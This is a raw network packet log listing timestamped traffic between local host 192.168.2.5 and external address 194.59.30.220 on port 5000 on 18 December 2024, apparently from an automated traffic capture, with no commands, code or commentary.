Dec 18, 2024 11:40:33.331192970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.331290007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.331340075 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.332384109 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.332568884 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.332633018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.333337069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.333395004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.333451033 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.334187984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.334297895 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.334382057 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.335263968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.335407019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.335464001 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.336235046 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.336394072 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.336447954 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.337187052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.337321043 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.337393999 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.338193893 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.338326931 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.338380098 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.339164972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.339251041 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.339333057 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.340259075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.340425968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.340480089 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.341362000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.341504097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.341564894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.342161894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.342262030 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.342324018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.343135118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.343239069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.343292952 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.344212055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.344327927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.344376087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.345177889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.345287085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.345370054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.346132994 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.346193075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.346252918 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.347084999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.347202063 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.347274065 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.348084927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.348342896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.348407030 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.349138975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.349246025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.349299908 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.350078106 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.350197077 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.350275993 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.351094007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.351237059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.351332903 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.352058887 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.352205038 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.352262020 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.353112936 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.353337049 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.353424072 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.354036093 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.354156017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.354187965 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.355103970 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.355305910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.355370998 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.356014013 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.356182098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.356254101 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.357048035 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.357189894 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.357244015 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.358020067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.358130932 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.358190060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.359014034 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.359137058 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.359246016 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.360024929 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.360297918 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.360340118 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.361008883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.361080885 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.361121893 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.361989021 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.362114906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.362183094 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.362971067 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.363379002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.363476038 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.364036083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.364161968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.364262104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.364999056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.365102053 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.365156889 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.365988016 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.366090059 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.366162062 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.366991997 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.367046118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.367104053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.367984056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.368192911 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.368247986 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.368906975 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.369141102 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.369203091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.369915962 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.370043039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.370089054 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.370903015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.371054888 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.371098042 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.372040033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.372124910 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.372247934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.372914076 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.373018026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.373147011 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.373864889 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.373997927 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.374038935 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.374869108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.374938965 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.375036955 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.383255959 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.383304119 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.383445978 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.383651972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.383755922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.383833885 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.384856939 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.384957075 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.385009050 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.385633945 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.425609112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.518497944 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.518527985 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.518732071 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.518774986 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.518927097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.519016027 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.519522905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.519603968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.519659996 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.520354033 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.520458937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.520497084 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.521188974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.521323919 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.521387100 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.522200108 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.522361040 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.522428036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.523186922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.523257017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.523335934 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.524192095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.524301052 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.524338961 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.525194883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.525259972 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.525345087 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.526177883 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.526304007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.526352882 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.527168036 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.527192116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.527254105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.528167009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.528309107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.528371096 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.529145002 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.529191017 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.529275894 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.530186892 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.530260086 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.530354023 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.531125069 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.531285048 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.531347036 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.532162905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.532262087 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.532310009 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.533135891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.533262968 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.533308983 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.534132004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.534252882 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.534293890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.535120010 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.535283089 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.535336018 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.536128044 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.536227942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.536278009 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.537075996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.537203074 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.537287951 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.538088083 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.538208961 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.538270950 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.539081097 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.539252996 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.539297104 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.540097952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.540247917 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.540333033 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.541198015 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.541321993 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.541368008 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.542081118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.542180061 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.542211056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.543095112 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.543215990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.543308973 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.544101000 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.544241905 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.544284105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.545161009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.545241117 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.545310974 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.546129942 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.546327114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.546411991 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.547003031 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.547094107 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.547162056 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.548015118 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.548156977 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.548248053 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.549055099 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.549114943 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.549192905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.549992085 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.550051928 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.550093889 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.550983906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.551115990 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.551181078 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.552040100 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.552160025 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.552226067 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.553033113 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.553121090 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.553180933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.553961039 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.554071903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.554225922 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.554960012 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.555056095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.555170059 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.556032896 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.556098938 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.556173086 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.556969881 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.557020903 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.557092905 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.557956934 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.558079004 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.558130980 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.558944941 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.559040070 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.559084892 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.559921026 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.560022116 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.560074091 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.560944080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.561105967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.561309099 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.561918974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.562067032 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.562129021 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.562910080 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.563014984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.563143969 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.563910007 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.564047098 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.564089060 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.564866066 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.565005064 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.565073967 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.565886974 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.565964937 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.566088915 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.574332952 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.574496984 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.574594975 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.574826956 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.574842930 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.574928999 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.575716019 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.575814009 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.576025963 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.576704979 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.628917933 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.708895922 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.708978891 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.709211111 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.709290028 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.709346056 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.709422112 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.710091114 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.710216999 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.710264921 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.711085081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.711201906 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.711330891 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.712084055 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.712256908 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.712402105 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.713059902 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.713179111 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.713296890 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.714034081 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.714195967 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.714241982 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.715063095 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.715164900 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.715209007 CET	49705	5000	192.168.2.5	194.59.30.220
Dec 18, 2024 11:40:33.716042995 CET	5000	49705	194.59.30.220	192.168.2.5
Dec 18, 2024 11:40:33.716130018 CET	5000	49705	194.59.30.220	192.168.2.5
